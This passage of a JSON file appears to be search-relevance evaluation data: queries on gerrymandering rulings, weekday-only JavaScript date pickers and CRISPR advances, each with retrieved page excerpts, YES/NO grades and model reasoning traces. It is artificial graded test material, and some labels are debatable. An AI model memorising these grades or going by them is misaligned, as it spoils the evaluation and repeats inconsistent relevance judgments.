                "model_trace": "Query Decomposition:\n1. [SCOTUS gerrymandering decision]: The document discusses a Supreme Court ruling related to the Voting Rights Act and its implications, which involves gerrymandering -> ([1], SATISFIED)\n2. [impact of the decision]: The document explains how the ruling could impact future elections, particularly how it could help Republicans by concentrating minority voters into fewer districts -> ([1], SATISFIED)\n\nAssessment: The document addresses both the Supreme Court's decision on gerrymandering and its potential impact, making it useful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Supreme Court overturns ruling that threw out Texas' GOP congressional map for racial discrimination",
                "url": "https://www.dailykos.com/stories/2018/6/25/1775179/-Supreme-Court-overturns-ruling-that-threw-out-Texas-GOP-congressional-map-for-racial-discrimination",
                "published_date": "2018-06-25",
                "text": "On Monday, the Supreme Court gave Republican gerrymandering a major boost when it reversed a district court ruling that had struck down Texas\u2019 GOP-drawn congressional map for intentionally discriminating against black and Latino voters.\nThe GOP\u2019s victory was almost total: The Supreme Court\u2019s conservative majority overturned the lower court as to every congressional district it had invalidated, and all but one of the state House districts it struck down. But beyond just this case, the high court\u2019s five-to-four decision further erodes the Voting Rights Act on the fifth anniversary of its landmark decision that gutted a key part of the VRA.\nThis dispute, which has been trudging on for seven long years thanks in part to an apparent slow-walk by conservative judges, has hinged on a key aspect of the VRA that penalizes lawmakers when they act with discriminatory intent. Had the lower court\u2019s ruling stood up, Texas would have been required to draw new maps, and it might have faced further sanction as well. Now it has avoided the former and very likely the latter, too.\nThe Supreme Court\u2019s questionable ruling relied on the dubious notion that the Republicans who crafted Texas\u2019 maps were entitled to a presumption that they acted in good faith. The record, however, shows otherwise.\n\nAs we have previously explained, Texas could have drawn three more congressional districts that would have let Latino voters elect their preferred candidates. Instead, they passed the gerrymander shown at the top of this post, which not only deprived Latinos of these seats but likely cost Democrats four or five districts in 2016, making it one of the most consequential Republican gerrymanders in the country.\nAnd it all became possible because of the Supreme Court. Until 2013, the VRA required states with a history of discriminatory voting laws like Texas to \u201cpreclear\u201d any proposed changes to election laws with the Department of Justice, which could block them if they were found to adversely affect the rights of minorities. That included new redi",
                "model_trace": "Query Decomposition:\n1. {SCOTUS gerrymandering decision}: This document discusses a Supreme Court decision related to gerrymandering in Texas -> ([1], SATISFIED)\n2. {impact}: The document discusses the implications of the Supreme Court's decision, including its effects on the Voting Rights Act and the potential consequences for future elections -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses both the Supreme Court's decision on gerrymandering and its impact. YES."
            },
            {
                "grade": "YES",
                "title": "The Supreme Court, Gerrymandering, and the Rule of Law",
                "url": "https://www.americanbar.org/groups/crsj/publications/human_rights_magazine_home/the-end-of-the-rule-of-law/the-supreme-court-gerrymandering-and-the-rule-of-law/",
                "published_date": null,
                "text": "HUMAN RIGHTS\nAlthough the U.S. Supreme Court has undermined the rule of law in a whole variety of areas, its treatment of partisan gerrymandering is arguably the most destructive. The reason is that gerrymandering is the one area of the law where the Court itself acknowledges that state and local officials are regularly violating the Constitution, but it has refused to allow any federal judicial remedy. And it has done that based solely on the highly debatable suggestion that it is just too difficult to establish standards for separating lawful from unlawful conduct. The Court created this problem by ruling, in Rucho v. Common Cause in 2019, that any federal constitutional challenge to a district map, based on the theory that it is a partisan gerrymander, presents a non-justiciable \u201cpolitical question.\u201d As a result, in this one field, there is literally no \u201crule of law\u201d because the Constitution can be violated with no consequences.\nIn most democracies, there are mechanisms to ensure that seats in the legislative body are proportional to the votes cast by the people.\nHERNAN SCHMIDT VIA ADOBE STOCK\nWhat Is a Gerrymander?\nA partisan gerrymander is a district map\u2014for Congress, or for a state legislature, county commission, and the like\u2014that is intentionally designed to enhance the power of one political party at the expense of the other, regardless of how the people of the jurisdiction may choose to vote in a given election. This is a uniquely American problem because we are the only democracy in the world with two features\u2014(1) the use of single-member \u201cfirst past the post\u201d districts (an inheritance from the British), and (2) systems that allow partisan legislators to draw the maps that we use (in most states). In other countries, if districts are used, they are drawn by non-partisan officials. And in most of the world\u2019s democracies, there are mechanisms to ensure that seats in the legislative body are proportional to the votes cast by the people.\u00a0\nPartisan gerrymanders work in a very simple way. A successful one pac",
                "model_trace": "Query Decomposition:\n1. {SCOTUS gerrymandering decision}: This document discusses the U.S. Supreme Court's decision on partisan gerrymandering, specifically mentioning the Rucho v. Common Cause case in 2019 -> ([1], SATISFIED)\n2. {impact}: The document discusses the impact of the SCOTUS decision by stating that it has undermined the rule of law and allowed constitutional violations without consequences -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by discussing the SCOTUS decision on gerrymandering and its impact on the rule of law. YES."
            },
            {
                "grade": "YES",
                "title": "The Supreme Court Just Made Gerrymandering Even Easier",
                "url": "https://www.brennancenter.org/our-work/analysis-opinion/supreme-court-just-made-gerrymandering-even-easier",
                "published_date": null,
                "text": "You\u2019re reading\u00a0The Briefing, Michael Waldman\u2019s weekly newsletter. Click\u00a0  here  \u00a0to receive it in your inbox.  Last week, the Supreme Court\u2019s supermajority of six highly conservative justices issued a ruling weakening voting rights laws in Alexander v. South Carolina NAACP. Consider it the opening bugle blast on what could be a dismal season of rulings from the high court.",
                "model_trace": "Query Decomposition:\n1. {SCOTUS gerrymandering decision}: The document discusses a recent Supreme Court ruling related to gerrymandering -> ([1], SATISFIED)\n2. {impact of the decision}: The document mentions that the ruling weakens voting rights laws and hints at broader implications, suggesting it discusses the impact -> ([2], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by discussing the Supreme Court's decision on gerrymandering and its impact. YES."
            },
            {
                "grade": "YES",
                "title": "The new Supreme Court showdown over gerrymandering, explained",
                "url": "https://www.vox.com/scotus/2023/10/5/23893286/supreme-court-voting-rights-gerrymandering-race-south-carolina-alexander-naacp",
                "published_date": null,
                "text": "On October 11, the Supreme Court will hear a challenge to racially gerrymandered congressional maps in South Carolina that could tell us a lot about where the Court stands on voting rights. \nThe lower court in this case, known as  Alexander v. South Carolina State Conference of the NAACP , determined that the state\u2019s Republican legislature excluded Black voters from the state\u2019s First Congressional District in order to shore up Republican control of that district.\nThe stakes in any congressional gerrymandering case are high because these cases can potentially impact who will control the US House of Representatives in the future. And the Court\u2019s ultimate decision in Alexander may be unusually significant.\nFor years, the Supreme Court\u2019s Republican majority had been almost unrelentingly hostile toward voting rights plaintiffs, and especially toward the Voting Rights Act \u2014 a federal law that bans race discrimination in elections. But in a surprising move last June, the Court struck down an Alabama gerrymander, affirming a lower court decision holding that the state violated the Voting Rights Act when it drew congressional maps that diluted Black voting power within that state. \nNotably, the Court\u2019s 5-4 decision in that case, known as  Allen v. Milligan  (2023), was written by Chief Justice John Roberts, and it rested upon a provision of the Voting Rights Act that Roberts unsuccessfully pushed President Ronald Reagan to veto when he was a young political appointee in the Justice Department. \nSo Milligan is potentially the first sign that the Court\u2019s hostility toward voting rights plaintiffs is diminishing. Now, with Alexander, the first major voting rights case the Court has taken up since, we could see how committed to that pivot the justices actually are.\nTechnically, the legal issue in Alexander is distinct from the one in Milligan. Milligan held that Alabama violated the Voting Rights Act when it drew its congressional maps, while the lower court in Alexander held that South Carolina violated the Constitution\u2019s saf",
                "model_trace": "Query Decomposition:\n1. [SCOTUS gerrymandering decision]: The document discusses a Supreme Court case on gerrymandering in South Carolina, which is directly related to SCOTUS decisions on gerrymandering -> ([1], SATISFIED)\n2. [impact]: The document explains the potential impact of the Supreme Court's decision in the Alexander case on voting rights and future control of the US House of Representatives -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. It discusses the SCOTUS gerrymandering decision and its potential impact. YES."
            }
        ]
    },
    {
        "query": "how to create a custom date picker in js that only allows selection of weekdays",
        "grid_pos": [
            0,
            5
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "1. This query requires knowledge of JavaScript date picker UI elements, as well as constraints around weekday-only selection. It tests Exa's understanding of common web development challenges.\n\n2. This SQL query tests Exa's ability to parse complex database queries with multiple conditions. It requires understanding of common business intelligence use cases.\n\n3. This query tests Exa's web scraping capabilities, including handling authentication and extracting structured data from websites. It requires knowledge of Python web scraping libraries.\n\n4. This query tests Exa's ability to find relevant open source projects on GitHub that implement machine learning techniques. It requires understanding of common deep learning application areas.\n\n5. This query tests Exa's debugging capabilities by asking for help troubleshooting a specific technical issue in a React application. It requires knowledge of common React performance problems."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "easepick",
                "url": "https://easepick.com/",
                "published_date": null,
                "text": "easepick \n Guide\n\nGitHub\n (opens new window) \n Donate\n (opens new window) \n Date picker - tiny size, no dependencies\n\nQuick Start \u2192",
                "model_trace": "[QUERY] how to create a custom date picker in js that only allows selection of weekdays\n\n[WEBPAGE INFORMATION]\n[TITLE] easepick\n[URL] https://easepick.com/\n[DATE PUBLISHED] None\n[CONTENT] easepick \n Guide\n\nGitHub\n (opens new window) \n Donate\n (opens new window) \n Date picker - tiny size, no dependencies\n\nQuick Start \u2192\n\nQuery Decomposition:\n1. {how to create a custom date picker in js}: The document is about a date picker library called easepick, which is relevant to creating a date picker in JavaScript -> ([1], SATISFIED)\n2. {allows selection of weekdays only}: The document does not provide specific information on whether the date picker can be customized to allow selection of weekdays only -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {how to create a custom date picker in js}, which is satisfied. The document does not provide enough information to evaluate the other subcomponent. Based on the information provided, the document is helpful for the user's query about creating a custom date picker in JavaScript. YES."
            },
            {
                "grade": "NO",
                "title": "How to get the date for a specific day of the week with vanilla JS",
                "url": "https://gomakethings.com/how-to-get-the-date-for-a-specific-day-of-the-week-with-vanilla-js/",
                "published_date": "2020-09-24",
                "text": "This morning, one of my students asked me how I would get the date for the next occurrence of a specific day of the week. For example: \u201cWhat\u2019s the day next Wednesday?\u201d\nThis is a good one! Let\u2019s dig in.\nThe approach\nFor this one, we need to get the day of the week for today, then figure out how many days away the day we\u2019re looking for is.\nFor example, if today is Thursday, then Saturday is two days away.\nOnce we know that, we can get a timestamp for today, add two days worth of milliseconds to it (using the timestamp math we learned earlier this week), and get a new date object for the day we want.\n var nextDay = new Date(todayTimestamp + (1000 * 60 * 60 * 24 * 2));\n\nCreating a helper function\nTo get started, let\u2019s create a helper function, getNextDay().\nIt accepts one argument: dayName. This is the specific day of the week you\u2019re looking for.\n var getNextDay = function (dayName) {\n // Codes goes here...\n};\n\nWe know we\u2019re going to need today\u2019s date, so let\u2019s go ahead and get that.\n var getNextDay = function (dayName) {\n // The current day\n var date = new Date();\n};\n\nGetting the day of the week\nThe Date object has a getDate() method that returns an integer representing the day of the week.\nIt starts with Sunday, which has a value of 0. Monday has a value of 1, Tuesday has a value of 2, and so on.\nLet\u2019s get the day for our current date.\n var getNextDay = function (dayName) {\n // The current day\n var date = new Date();\n var now = date.getDay();\n};\n\nWe also need to get this integer for the day of the week want. We can create an array with days of the week, and use the Array.indexOf() method to find the desired day\u2019s index.\nFor maximum flexibility, let\u2019s make the days of the week case-insensitive.\n var getNextDay = function (dayName) {\n // The current day\n var date = new Date();\n var now = date.getDay();\n // Days of the week\n var days = ['sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday'];\n // The index for the day you want\n var day = days.indexOf(dayName.toLowerCase());\n};\n\nDoing math\nNow tha",
                "model_trace": "Query Decomposition:\n1. [how to create a custom date picker in js]: The document does not provide information on creating a custom date picker -> ([0], UNSATISFIED)\n2. [that only allows selection of weekdays]: The document does not provide information on restricting selection to weekdays -> ([0], UNSATISFIED)\n3. [get the date for a specific day of the week]: The document provides detailed information on how to get the date for a specific day of the week using vanilla JS -> ([1], SATISFIED)\n\nAssessment: The document only satisfies the subcomponent about getting the date for a specific day of the week, which is not sufficient for the user's query about creating a custom date picker that restricts selection to weekdays. NO."
            },
            {
                "grade": "NO",
                "title": "getNextDay.js",
                "url": "https://vanillajstoolkit.com/helpers/getnextday/",
                "published_date": "2022-01-01",
                "text": "The Vanilla JS Toolkit\n\nGet the date for a specific day of the week.\n\nDemo on CodePen \n How It Works\n\n/*!\n * Get the date for a specific day of the week\n * (c) 2021 Chris Ferdinandi, MIT License, https://gomakethings.com\n * @param {String} dayName The day of the week (case-insensitive)\n * @return {Date} The date object\n */\nfunction getNextDay (dayName) {\n // The current day\n let date = new Date();\n let now = date.getDay();\n // Days of the week\n let days = ['sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday'];\n // The index for the day you want\n let day = days.indexOf(dayName.toLowerCase());\n // Find the difference between the current day and the one you want\n // If it's the same day as today (or a negative number), jump to the next week\n let diff = day - now;\n diff = diff < 1 ? 7 + diff : diff;\n // Get the timestamp for the desired day\n let nextDayTimestamp = date.getTime() + (1000 * 60 * 60 * 24 * diff);\n // Get the next day\n return new Date(nextDayTimestamp);\n}",
                "model_trace": "Query Decomposition:\n1. [how to create a custom date picker in js]: This document provides a JavaScript function to get the date for a specific day of the week, which is a partial step towards creating a date picker -> ([2], UNSURE)\n2. [only allows selection of weekdays]: The document does not specifically address restricting the date picker to weekdays -> ([0], UNSURE)\n\nAssessment: The document provides a function that can be a part of a custom date picker but does not provide a complete solution or address the specific requirement of restricting to weekdays. Therefore, it does not fully satisfy the query. NO."
            },
            {
                "grade": "YES",
                "title": "In jquery ui date-picker how to allow selection of specific ...",
                "url": "https://stackoverflow.com/questions/389743/in-jquery-ui-date-picker-how-to-allow-selection-of-specific-weekdays-and-disable",
                "published_date": null,
                "text": "Provide an onSelect handler to the datepicker and have your handler validate that the dates fit your defined criteria. I'm not sure where the onSelect fires so you may have \"undo\" the selection if you can't stop the event and alert the user.\nOne way of doing this would be to develop a custom date validator class that takes parameters and then call that date validator from the onSelect function. The onSelect function could take care of interacting with the datepicker itself to keep the design clean.\nFrom http://docs.jquery.com/UI/Datepicker/datepicker#options \n $(\"div.selector\").datepicker({ \n onSelect: function(dateText) { \n alert(dateText);\n } \n})\n \nTo change the display and selectability of a particular date or set of days use a beforeShowDay handler and have it change the selectability and CSS for the date in question.\n $(\".selector\").datepicker({ beforeShowDay: nationalDays}) \nnatDays = [\n [1, 26, 'au'], [2, 6, 'nz'], [3, 17, 'ie'],\n [4, 27, 'za'], [5, 25, 'ar'], [6, 6, 'se'],\n [7, 4, 'us'], [8, 17, 'id'], [9, 7, 'br'],\n [10, 1, 'cn'], [11, 22, 'lb'], [12, 12, 'ke']\n];\nfunction nationalDays(date) {\n for (i = 0; i &lt; natDays.length; i++) {\n if (date.getMonth() == natDays[i][0] - 1\n &amp;&amp; date.getDate() == natDays[i][1]) {\n return [false, natDays[i][2] + '_day'];\n }\n }\n return [true, ''];\n}",
                "model_trace": "Query Decomposition:\n1. {how to create a custom date picker in JS}: The document provides information on how to create a custom date picker using jQuery UI, which is a JavaScript library -> ([1], SATISFIED)\n2. {that only allows selection of weekdays}: The document mentions using the `beforeShowDay` handler to change the selectability of dates, which can be adapted to allow only weekdays -> ([2], SATISFIED)\n\nAssessment: The document provides relevant information on creating a custom date picker in JavaScript (using jQuery UI) and includes guidance on how to restrict date selection, which can be adapted to only allow weekdays. YES"
            },
            {
                "grade": "YES",
                "title": "How to Restrict the Calendar Picker to Weekdays Only",
                "url": "https://help.logiforms.com/hc/en-us/articles/360001189443-How-to-Restrict-the-Calendar-Picker-to-Weekdays-Only",
                "published_date": null,
                "text": "The popup calendar can be restricted to show only weekdays using a little custom javascript, executed when the form loads. We can create an action on the forms root node (these actions will run when the form loads), and call it to modify one of the properties of the pop up calendar. \nHere are the steps:  \n\t\u00a0Click on the name of your form in the outline panel in the\u00a0Form Designer\n\tFind and click on actions in the General Settings Property Panel\n\tCreate a new Action and choose Custom JavaScript\n\tGive the action a name, and click next.\u00a0\n\tEnter the following code, but\u00a0replace \"End Date\" with the name of your field\u00a0(the name must match exactly and IS case sensitive)\n // This function will receive the field and form objects.\u00a0 \n function ( field , form ){ \n var  datepicker  =  form . getFieldByName ( 'End Date' ). getDatePicker (); \ndatepicker . settings . beforeShowDay  =  $ . datepicker . noWeekends\n } \nSave your changes and test your form. When you open the calendar, weekends should now be grayed out.\n    \n    Have more questions? Submit a request\n    ||||I||||  * Quick Links\n      + Go Back\n      + Help Center\n      Quick Links\n    Submit a request Sign in\n    Hello, How can we help You?\n 1. Logiforms Help Center\n 2. Knowledge Base\n 3. Form How To Articles\n      How to Restrict the Calendar Picker to Weekdays Only\n          Clinton Tu\n            May 06, 2020 17:29\n          Follow\n        The popup calendar can be restricted to show only weekdays using a little custom javascript, executed when the form loads. We can create an action on the forms root node (these actions will run when the form loads), and call it to modify one of the properties of the pop up calendar.\n        Here are the steps:\n         1. Click on the name of your form in the outline panel in the Form Designer\n         2. Find and click on actions in the General Settings Property Panel\n         3. Create a new Action and choose Custom JavaScript\n         4. Give the action a name, and click next.\n         5. Enter the following code, but replace \"",
                "model_trace": "Query Decomposition:\n1. {how to create a custom date picker in js}: The document provides instructions on how to create a custom date picker using JavaScript -> ([1], SATISFIED)\n2. {only allows selection of weekdays}: The document specifically addresses how to restrict the calendar picker to weekdays only -> ([1], SATISFIED)\n\nAssessment: The document clearly provides detailed steps and JavaScript code to create a custom date picker that only allows the selection of weekdays. Both key subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Limiting calendar date picker to only selection of every ...",
                "url": "https://answers.laserfiche.com/questions/200021/Limiting-calendar-date-picker-to-only-selection-of-every-other-Monday",
                "published_date": null,
                "text": "replied on June 24, 2022\n        \n            \n                \u2022\n                Show version history\n            \n  \n                This is nearly identical to another question posted two weeks ago:\u00a0https://answers.laserfiche.com/questions/199561/Date-picker-want-user-to-be-able-to-select-only-every-other-Monday#199567 \nHere's the answer that was posted there:\nI was able to modify some similar code I have that excluded weekends and holidays from a date\u00a0picker in order to match your request.\nThis was tested in Forms 11 Updated 2.\nGive you date\u00a0field the CSS Class of:\u00a0limitedDate\nThen add this Javascript to your form:\u00a0\n//Declaration of global variables.\nvar blackoutDatesList = new Array();\n//Run the following code when the form has finished loading.\n$(document).ready(function () {\n  //Set the date range of the Date field.\n  //Minimum: Today\n  //Maximum: 365 days in the future\n  updateBlackoutDates();\n  function updateBlackoutDates()\n  {\n    var today = new Date();\n    var startDate = new Date();\n    var endDate = new Date();\n    endDate = today.addDays(365);\n    var minDate = $.datepicker.formatDate('yy-mm-dd', new Date(startDate));\n    var maxDate = $.datepicker.formatDate('yy-mm-dd', new Date(endDate));\n    $('.limitedDate input').attr('min',minDate);\n    $('.limitedDate input').attr('max',maxDate);\n  }\n  //Loop through every two weeks and add that invalid Monday to the blackoutDatesList array.\n  //The array will be used to exclude those dates from the picker.\n  blackoutDatesList.length = 0;\n  var firstInvalidMonday = new Date(2022, 5, 6);  //Sets the first invalid Monday as 6 June 2022.\n  var nextInvalidMonday = new Date();\n  for(var i = 0; i &lt;= 3650; i = i + 14) {          //Loop every 14 days for ten years.\n    nextInvalidMonday = firstInvalidMonday.addDays(i);\n    blackoutDatesList.push(formatDate(new Date(nextInvalidMonday), 'yyyy-MM-dd'));\n    console.log(formatDate(new Date(nextInvalidMonday), 'yyyy-MM-dd') + '     ' + formatDate(new Date(firstInvalidMonday), 'yyyy-MM-dd') + '     ' + i + '     ' + fi",
                "model_trace": "Query Decomposition:\n1. [how to create a custom date picker in js]: The document provides JavaScript code for customizing a date picker, so this subcomponent is met -> ([1], SATISFIED).\n2. [date picker that only allows selection of weekdays]: The document discusses excluding weekends and holidays from the date picker, which implies it can handle weekday-only selection -> ([2], SATISFIED).\n\nAssessment: Both relevant subcomponents are satisfied. The document provides relevant JavaScript code and discusses excluding specific days, which aligns with the user's intent to create a custom date picker that only allows selection of weekdays. YES."
            }
        ]
    },
    {
        "query": "CRISPR CAS9 latest breakthrough",
        "grid_pos": [
            0,
            6
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and retrieve relevant information from Twitter about complex, cutting-edge topics in science, technology, law, and medicine. They require external knowledge to interpret abbreviations and jargon, and understanding of current events and ongoing debates in these fields. The queries are short and to the point, mimicking typical Google search behavior, while still being challenging and specific enough to test Exa's capabilities."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "An engineered hypercompact CRISPR-Cas12f system with boosted gene-editing activity - Nature Chemical Biology",
                "url": "https://www.nature.com/articles/s41589-023-01380-9",
                "published_date": "2023-07-03",
                "text": "References Mojica, F. J. M., D\u00edez-Villase\u00f1or, C., Garc\u00eda-Mart\u00ednez, J. & Soria, E. Intervening sequences of regularly spaced prokaryotic repeats derive from foreign genetic elements. J. Mol. Evol. 60, 174\u2013182 (2005). Article \n CAS \n PubMed\n\nGoogle Scholar \n Barrangou, R. et al. CRISPR provides acquired resistance against viruses in prokaryotes. Science 315, 1709\u20131712 (2007). Article \n CAS \n PubMed\n\nGoogle Scholar \n Gasiunas, G., Barrangou, R., Horvath, P. & Siksnys, V. Cas9\u2013crRNA ribonucleoprotein complex mediates specific DNA cleavage for adaptive immunity in bacteria. Proc. Natl Acad. Sci. USA 109, E2579\u2013E2586 (2012). Article \n CAS \n PubMed \n PubMed Central\n\nGoogle Scholar \n Jinek, M. et al. A programmable dual-RNA\u2013guided DNA endonuclease in adaptive bacterial immunity. Science 337, 816\u2013821 (2012). Article \n CAS \n PubMed \n PubMed Central\n\nGoogle Scholar \n Anzalone, A. V., Koblan, L. W. & Liu, D. R. Genome editing with CRISPR\u2013Cas nucleases, base editors, transposases and prime editors. Nat. Biotechnol. 38, 824\u2013844 (2020). Article \n CAS \n PubMed\n\nGoogle Scholar \n Komor, A. C., Kim, Y. B., Packer, M. S., Zuris, J. A. & Liu, D. R. Programmable editing of a target base in genomic DNA without double-stranded DNA cleavage. Nature 533, 420\u2013424 (2016). Article \n CAS \n PubMed \n PubMed Central\n\nGoogle Scholar \n Gaudelli, N. M. et al. Programmable base editing of A\u2022T to G\u2022C in genomic DNA without DNA cleavage. Nature 551, 464\u2013471 (2017). Article \n CAS \n PubMed \n PubMed Central\n\nGoogle Scholar \n Anzalone, A. V. et al. Search-and-replace genome editing without double-strand breaks or donor DNA. Nature 576, 149\u2013157 (2019). Article \n CAS \n PubMed \n PubMed Central\n\nGoogle Scholar \n Nakamura, M., Gao, Y., Dominguez, A. A. & Qi, L. S. CRISPR technologies for precise epigenome editing. Nat. Cell Biol. 23, 11\u201322 (2021). Article \n CAS \n PubMed\n\nGoogle Scholar \n Terns, M. P. CRISPR-based technologies: impact of RNA-targeting systems. Mol. Cell 72, 404\u2013412 (2018). Article \n CAS \n PubMed \n PubMed Central\n\nGoogle Scholar \n Liu, X.-M., Zh",
                "model_trace": "Query Decomposition:\n1. {CRISPR CAS9}: This document is about CRISPR-Cas12f, not CRISPR-Cas9 -> ([1], UNSATISFIED)\n2. {latest breakthrough}: The document discusses an engineered hypercompact CRISPR-Cas12f system with boosted gene-editing activity, which could be considered a breakthrough, but it is not related to CRISPR-Cas9 -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents related to CRISPR-Cas9 and the latest breakthrough in that specific system. NO."
            },
            {
                "grade": "YES",
                "title": "New gene editing tool reduces errors by nicking DNA not cutting",
                "url": "https://newatlas.com/medical/crispr-dna-gene-editing-spacer-nick-reduce-errors/",
                "published_date": "2022-06-24",
                "text": "As important as the CRISPR-Cas9 gene-editing tool has been, it has a relatively high error rate, which can introduce potentially harmful mutations. Researchers in Germany have now developed a more refined tool that reduces errors by nicking DNA instead of cutting it. CRISPR is one of the most groundbreaking inventions of the century, with the potential to revolutionize gene therapy for a range of diseases, as well as improving the yield or nutrition of crops, creating beneficial microbes, and a variety of other uses. It works like a pair of \u201cmolecular scissors,\u201d cutting out problematic genes and slotting in more helpful ones. The problem is, sometimes it can target the wrong section of DNA and make a change there \u2013 known as an off-target mutation \u2013 which can potentially trigger health issues. Even if it does get the right target, the DNA repair process can go wrong and lead to what\u2019s called an on-target mutation. Preventing both of these issues was the focus of the new study, by researchers at the Max Delbr\u00fcck Center for Molecular Medicine (MDC) and Humboldt University of Berlin. The team modified these molecular scissors to be a bit more gentle, making a fundamentally different type of cut. Rather than making one cut that slices right through the entire double strand of DNA, the new tool makes two smaller nicks, each cutting one DNA strand. A built-in spacer keeps those nicks a safe distance apart \u2013 between 200 and 350 base pairs. \u201cOur experiments with hematopoietic stem cells and T cells have shown that this is the optimal distance for minimizing both on-target and off-target mutations,\u201d said Dr. Van Trung Chu, co-last author of the study. \u201cAny shorter, and we risk cutting through the entire DNA molecule \u2013 despite the use of two separate scissors.\u201d\n\nA graphical comparison of classic CRISPR-Cas9 and the new spacer-nick gene editing techniques Van Trung Chu, MDC\n\nIn tests on cells in lab dishes, the team found that the new spacer-nick tool was about as effective at making edits as conventional CRISPR \u2013 between 20",
                "model_trace": "Query Decomposition:\n1. {CRISPR CAS9}: The document discusses CRISPR-Cas9 gene-editing tool -> ([1], SATISFIED)\n2. {latest breakthrough}: The document describes a new development in CRISPR technology, specifically a refined tool that reduces errors by nicking DNA instead of cutting it, and it was published in 2022 -> ([1], SATISFIED)\n\nAssessment: The document clearly discusses a recent advancement in CRISPR-Cas9 technology, satisfying both subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "Structure and engineering of the type III-E CRISPR-Cas7-11 effector complex",
                "url": "https://www.cell.com/cell/fulltext/S0092-8674(22)00581-5",
                "published_date": "2022-06-23",
                "text": "Highlights\n\n\u2022Cas7-11 comprises the Cas7.1, Cas7.2, Cas7.3, Cas7.4, Cas11, INS, and CTE domains\n\n\u2022Cas7-11 processes its precursor CRISPR RNAs using the Cas7.1 domain\n\n\u2022Cas7-11 cleaves target RNAs at two defined sites using the Cas7.2 and Cas7.3 domains\n\n\u2022The compact Cas7-11S variant enables transcript knockdown via a single AAV vector\n\nSummary\n\nThe type III-E CRISPR-Cas effector Cas7-11, with dual RNase activities for precursor\n CRISPR RNA (pre-crRNA) processing and crRNA-guided target RNA cleavage, is a new platform\n for bacterial and mammalian RNA targeting. We report the 2.5-\u00c5 resolution cryoelectron\n microscopy structure of Cas7-11 in complex with a crRNA and its target RNA. Cas7-11\n adopts a modular architecture comprising seven domains (Cas7.1\u2013Cas7.4, Cas11, INS,\n and CTE) and four interdomain linkers. The crRNA 5\u2032 tag is recognized and processed\n by Cas7.1, whereas the crRNA spacer hybridizes with the target RNA. Consistent with\n our biochemical data, the catalytic residues for programmable cleavage in Cas7.2 and\n Cas7.3 neighbor the scissile phosphates before the flipped-out fourth and tenth nucleotides\n in the target RNA, respectively. Using structural insights, we rationally engineered\n a compact Cas7-11 variant (Cas7-11S) for single-vector AAV packaging for transcript\n knockdown in human cells, enabling in vivo Cas7-11 applications.\n\nGraphical abstract\n\nKeywords\n\nCRISPR \n Cas7-11 \n cryo-EM \n RNA targeting\n\nTo read this article in full you will need to make a payment References Abudayyeh O.O. Gootenberg J.S. Essletzbichler P. Han S. Joung J. Belanto J.J. Verdine V. Cox D.B.T. Kellner M.J. Regev A. et al. RNA targeting with CRISPR-Cas13. Nature. 2017; 550: 280-284 Abudayyeh O.O. Gootenberg J.S. Konermann S. Joung J. Slaymaker I.M. Cox D.B.T. Shmakov S. Makarova K.S. Semenova E. Minakhin L. et al. C2c2 is a single-component programmable RNA-guided RNA-targeting CRISPR effector. Science. 2016; 353: aaf5573 Afonine P.V. Poon B.K. Read R.J. Sobolev O.V. Terwilliger T.C. Urzhumtsev A. Adams P.D. Real-space ref",
                "model_trace": "Query Decomposition:\n1. [CRISPR CAS9]: This document is about CRISPR, but specifically about the type III-E CRISPR-Cas7-11 effector complex, not CRISPR-Cas9 -> ([1], UNSATISFIED)\n2. [latest breakthrough]: The document discusses a recent study published in 2022, which could be considered a latest breakthrough in the field of CRISPR, but not specifically for CRISPR-Cas9 -> ([2], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponent of being about CRISPR-Cas9. Therefore, it is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "CRISPR-Cas9 genome editing - Latest research and news - Nature",
                "url": "https://www.nature.com/subjects/cas9-endonuclease",
                "published_date": null,
                "text": "Atom \n  RSS Feed \n \n \n \n \n \n CRISPR-Cas9 genome editing exploits the CRISPR-Cas system to modify a genome in a targeted manner. Guided by RNA, the Cas9 endonuclease breaks DNA at a target sequence. Imprecise repair of the double strand break can result in insertion or deletion mutations, while repair pathways can be engineered to introduce specific point mutations or insertions.\n \n \n \n \n \n \n \n \n \n  Latest Research and Reviews\n \n \n \n \n \n \n \n \n \n Research\n \n \n \n \n \n 31 January 2023\n \n | \n Open Access\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Research\n \n \n \n \n \n 30 January 2023\n \n | \n Open Access\n \n \n \n \n \n Induced pluripotent stem cell (iPSC) reprogramming is inherently inefficient. Here the authors identify 24 reprogramming roadblock genes through a CRISPR/Cas9-mediated genome-wide knockout screen including a KRAB-ZFP Zfp266, knockout of which consistently enhances murine iPSC generation.\n \n \n \n Daniel F. Kaemena , Masahito Yoshihara \u00a0&amp;\u00a0Keisuke Kaji\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Research\n \n \n \n \n \n 26 January 2023\n \n | \n Open Access\n \n \n \n \n \n Properties of cytidine and adenosine deaminases lead to off-target effects for cytosine base editors (CBEs) and adenine base editors (ABEs). Here the authors report that 25 TadA orthologs could be engineered to generate functional ABEs, CBEs or ACBEs via single/double mutations with minimised off-targets.\n \n \n \n Shuqian Zhang , Bo Yuan \u00a0&amp;\u00a0Tian-Lin Cheng\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Research\n \n \n \n \n \n 26 January 2023\n \n | \n Open Access\n \n \n \n \n \n Hypercompact CRISPR-Cas12f systems have been engineered to generate miniABEs but these have limitations. Here the authors generate Cas12f-derived miniCBEs and develop miniABEs with improved editing and targeting scopes; 